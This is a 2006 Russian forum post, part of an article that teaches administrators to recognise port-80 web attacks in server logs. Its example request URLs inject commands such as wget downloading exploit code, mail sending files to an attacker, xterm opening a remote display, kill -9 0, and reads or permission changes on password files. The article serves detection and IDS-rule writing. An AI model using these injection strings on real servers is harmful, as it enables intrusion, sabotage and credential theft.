Показать сообщение отдельно

  #2  
Старый 28.11.2006, 22:47
Аватар для zl0ba
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
Провел на форуме:
2132613

Репутация: 1365


По умолчанию

Часть 2--- продолжения!

Продвинутые сигнатуры:
В этом разделе описаны
запускаемые хакерами команды и
запрашиваемые файлы, а также как
обнаружить, что вы уязвимы к
удаленному запуску команд. Хотя это
не полный список команд и файлов,
запрашиваемых хакерами, это поможет
вам понять, что предпринимается
против вашей системы.
<h5>&quot;/bin/ls&quot;</h5>
Это исполняемый модуль команды “ls”.
Он часто запрашивается с полным
путем во многих дырах web-приложений.
Если вы увидите этот запрос в ваших
логах, высока вероятность того, что
ваша система подвержена удаленному
запуску команд. Однако, это не
всегда является проблемой и может
оказаться ложным сигналом. Повторю
вновь, важно изучить работу вашего
web-приложения. Если это возможно,
попробуйте сделать запрос,
найденный в логах и посмотрите на
результат.
<strong>Пример:<br>
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|<br>
http://host/cgi-bin/bad.cgi?doh=ls%20-al;</strong>
<h5>&quot;cmd.exe&quot;</h5>
Это Windows shell. Хакер, имеющий доступ
на запуск этого скрипта, наверняка
сможет сделать что-нибудь на вашей
машине, в зависимости от
установленных разрешений.
Большинство Internet-червей, работающих
через 80 порт, используют cmd.exe для
распространения на другие
удаленные системы.
<strong>Пример:<br>
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\</strong>
<h5>&quot;/bin/id&quot;</h5>
Это исполняемый модуль команды “id”.
Он часто запрашивается с полным
путем во многих дырах web-приложений.
Если вы увидите этот запрос в ваших
логах, высока вероятность того, что
ваша система подвержена удаленному
запуску команд. Однако, это не
всегда является проблемой и может
оказаться ложным сигналом. Повторю
вновь, важно изучить работу вашего
web-приложения. Если это возможно,
попробуйте сделать запрос,
найденный в логах и посмотрите на
результат.
<strong>Примеры:<br>
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|<br>
http://host/cgi-bin/bad.cgi?doh=id;</strong>
<h5>Команды &quot;wget and tftp&quot;</h5>
Эти команды часто используются
хакерами и червями для загрузки
дополнительных файлов, которые
могут использоваться для получения
дополнительных системных
привилегий. wget – это команда UNIX,
может использоваться для загрузки
backdoor. tftp – это UNIX и NT команда,
предназначенная для передачи
файлов. Некоторые IIS черви
используют tftp для загрузки своей
копии на зараженный компьютер, и
продолжают распространяться.
<strong>Примеры:<br>
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|<br>
http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;</strong>
<h5>Команда “cat”</h5>
Часто используется для просмотра
содержимого файлов. Может
использоваться для чтения важной
информации, такой как
конфигурационные файлы, файлы
паролей, и др.
<strong>Примеры:<br>
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|<br>
http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;</strong>
<h5>Команда “echo”</h5>
Эта команда часто используется
для присоединения данных к файлу,
например к index.html.
<strong>Примеры:<br>
http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20&quot;fc-#kiwis%20was%20here&quot;%20&gt;&gt;%200day.txt|<b r>
http://host/cgi-bin/bad.cgi?doh=echo%20&quot;fc-#kiwis%20was%20here&quot;%20&gt;&gt;%200day.txt;</strong>
<h5>Команда “ps”</h5>
Показывает список запущенных
процессов. Это может подсказать
хакеру, какое программное
обеспечение запущено на удаленном
компьютере и какие дыры
безопасности он может иметь.
<strong>Примеры:<br>
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|<br>
http://host/cgi-bin/bad.cgi?doh=ps%20-aux;</strong>
<h5>Команды &quot;kill и killall&quot;</h5>
Эти команды используются для
закрытия процессов в UNIX системе.
Хакер может использовать их для
остановки системного сервиса или
программы. Также хакер может
использовать их для сокрытия следов
своего эксплоита, породившего много
дочерних процессов, или некорректно
завершившегося.
<strong>Примеры:<br>
http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|<br>
http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;</strong>
<h5>Команда “uname”</h5>
Часто используется хакерами для
определения имени удаленной машины.
Часто вебсайт хостится у ISP, и эта
команда может подсказать, к какому
ISP он может получить доступ. Обычно
запрашивается “uname -a” и в логах это
выглядит как “uname%20-a”.
<strong>Примеры:<br>
http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|<br>
http://host/cgi-bin/bad.cgi?doh=uname%20-a;</strong>
<h5>Команды компиляторов/интерпретаторов
&quot;cc, gcc, perl, python, etc...&quot;</h5>
Команды “cc” и “gcc” позволяют
компилировать программы. Хакер
может использовать wget или tftp для
закачки файлов, а затем
использовать эти компиляторы для
создания эксплоита. С этого момента
возможно все, включая взлом
локальной системы.
<strong>Примеры:<br>
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|<br>
http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;</strong>
Если вы увидите запрос к “Perl” или
“python”, возможно, что хакер закачал
Perl или python скрипт, и пытается
взломать вашу систему.
<h5>Команда “mail”</h5>
Эта команда может использоваться
хакером для отправки файлов на e-mail
адрес хакера. Также может
использоваться для рассылки спама.
<strong>Примеры:<br>
http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20&lt;&lt;%20/etc/motd|<br>
http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20 &lt;&lt;/tmp/wu-2.6.1.c;</strong>
<h5>Команды &quot;xterm / другие X-приложения&quot;</h5>
Xterm часто используется для
получения доступа к shell удаленной
системы. Если вы обнаружите ее в
своих логах, отнеситесь к этому
очень серьезно, как к возможно
серьезной бреши в безопасности.
Ищите в логах запрос, содержащий
&quot;%20-display%20&quot;. Эти следы часто
указывают на попытку запустить xterm
или другое X-приложение на удаленном
хосте.
<strong>Примеры:<br>
http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|<br>
http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;</strong>
<h5>Команды &quot;chown, chmod, chgrp, chsh, и др...&quot;</h5>
Эти команды позволяют
устанавливать доступ в UNIX системах.
Ниже описано, что они делают.
chown позволяет устанавливать
принадлежность файла пользователю
chmod позволяет устанавливать
доступ к файлу
chgrp позволяет устанавливать
принадлежность файла группе
chsh позволяет менять shell,
используемый пользователем.
<strong>Примеры:<br>
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|<br>
http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;<br>
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|<br>
http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;<br>
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|</strong>
<h5>Файл &quot;/etc/passwd&quot;</h5>
Это файл системных паролей. Обычно
он не содержит зашифрованных
паролей (т.е. “shadowed”). Однако, может
дать хакеру имена пользователей,
системные пути и, возможно,
хостящиеся сайты. Если этот файл “shadowed”,
хакер будет пытаться смотреть файл /etc/shadow.
<h5>Файл &quot;/etc/master.passwd&quot;</h5>
Файл паролей в BSD-системе,
содержащий зашифрованные пароли.
Доступен для чтения только
эккаунтом root, но хакер может
попытаться его прочитать, в надежде
на удачу. Если web-сервер запущен с
правами root, хакер сможет прочитать
этот файл, а системный
администратор может ожидать
больших проблем.
<h5>Файл &quot;/etc/shadow&quot;</h5>
Системный UNIX-файл, содержащий
зашифрованные пароли. Доступен для
чтения только эккаунтом root, но хакер
может попытаться его прочитать, в
надежде на удачу. Если web-сервер
запущен с правами root, хакер сможет
прочитать этот файл, а системный
администратор может ожидать
больших проблем.
<h5>Файл &quot;/etc/motd&quot;</h5>
Системный файл &quot;Message of the Day&quot; (тема
дня) содержит первое сообщение,
которое видит пользователь,
входящий в UNIX-систему. Он может
содержать важную информацию,
адресованную от администратора
пользователям, а также версию
операционной системы. Хакер может
регулярно проверять этот файл и
знать, какая используется система.
Затем он исследует ее на предмет
эксплоитов, дающих дополнительный
доступ к этой системе.
<h5>Файл &quot;/etc/hosts&quot;</h5>
Этот файл дает информацию об IP-адресах
и сетевой информации. Хакер может
использовать его для поиска
дополнительной информации о ваших
системных/сетевых настройках.
<h5>Файл &quot;/usr/local/apache/conf/httpd.conf&quot;</h5>
Путь к этому файлу бывает разным,
здесь представлен наиболее часто
встречающийся. Это
конфигурационный файл web-сервера
Apache. Он может дать хакеру информацию
о хостящихся сайтах и более
специфическую, например о доступе к
CGI или SSI.
<h5>Файл &quot;/etc/inetd.conf&quot;</h5>
Это конфигурационных файл сервиса
inetd. Он содержит системные демоны,
используемые удаленным компьютером.
Также может подсказать хакеру,
использует ли удаленная система
wrapper для каждого демона. Если
использует, тогда хакер проверит
&quot;/etc/hosts.allow&quot; и &quot;/etc/hosts.deny&quot;, и
возможно изменит их содержимое,
если это даст ему дополнительные
привилегии.
<h5>Файлы &quot;.htpasswd, .htaccess, и .htgroup&quot;</h5>
Эти файлы используются для
аутентификации на web-сайте. Хакер
попытается просмотреть содержимое
этих файлов для получения имен
пользователей и паролей. Пароли
находятся в файле htpasswd и
зашифрованы. Простой взломщик
паролей и некоторое потраченное
время даст хакеру доступ к
некоторым защищенным паролями
сессиям на вашем web-сайте, а возможно,
и к другим эккаунтам. (Многие люди
используют везде одинаковые имена
пользователя и пароли, и зачастую
это дает хакеру доступ к другим
эккаунтам, которые может иметь этот
пользователь.)
<h5>Файлы &quot;access_log and error_log&quot;</h5>
Это лог-файлы web-сервера Apache. Хакер
может проверять их, чтобы увидеть,
как записались его запросы и
запросы других пользователей.
Часто хакеры редактируют эти
файлы, чтобы удалить следы своего
присутствия. Тогда становится
сложно обнаружить хакера,
атаковавшего вашу систему через 80
порт, если только не создаются
резервные копии или не ведется
двойное логгирование.
<h5>Файлы &quot;[drive-letter]:\winnt\repair\sam._ или [drive-letter]:winnt\repair\sam&quot;</h5>
Это имена файлов паролей Windows NT.
Хакер часто запрашивает эти файлы,
если не разрешен удаленный запуск
команд. Далее, он запустит программу
типа “l0pht crack”, чтобы взломать
пароли на удаленной windows-системе.
Если он сможет взломать пароль
администратора, удаленный
компьютер в его руках.
Переполнения
Мы не будем углубляться в
переполнения буфера, но покажем
примеры того, как это выглядит.
Переполнения буфера часто прячется
с помощью кодирования и других
приемов.
<strong>Простой пример:<br>
http://host/cgi-bin/helloworld?type=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(256 раз)</strong>
В этом примере хакер посылает
множество “A” в приложение и
проверяет его на переполнение
буфера. Переполнение буфера может
позволить хакеру удаленный запуск
команд. Если приложение имеет права
root, это может дать полный доступ к
системе.
Вариантов, как может выглядеть
переполнение буфера, великое
множество, и мы не будем
рассматривать их в этой статье.
Регулярно проверяйте логи. Если вы
увидите огромные запросы в то время,
как для вашего сайта характерны
короткие, вероятно это была попытка
хакера вызвать переполнение буфера
или новая разновидность Интернет-червя
атакует вашу машину.
Шестнадцатеричное кодирование
Хакеры знают, что часто IDS системы
проверяют запросы слишком
буквально. Поэтому они часто
кодируют свои запросы в
шестнадцатеричном формате, и IDS
пропускает их. Хороший пример этого
- CGI сканер, известный как Whisker. Если
вы просмотрели логи и увидели
огромное количество
шестнадцатеричных или других
необычных символов, вероятно, что
хакер пытался каким-то образом
взломать вашу систему. Быстрый
способ проверить, что означает этот
шестнадцатеричный код – это
скопировать его из лога и вставить в
адресную строку броузера. Если вы не
получите ошибку 404, тогда
шестнадцатеричный код
преобразуется и вы увидите его
вместе с результатом действия. Если
вы не хотите так рисковать, смотрите
для расшифровки ASCII коды.
Заключение
Эта статья не охватывает все
эксплоиты 80 порта, но охватывает
наиболее частые типы атак. Она также
объясняет вам, что искать в логах, и
что добавить в правила IDS. Надеюсь
также, статья поможет web-разработчикам
лучше писать web-приложения.

Автор: Михаил Разумов
 
Ответить с цитированием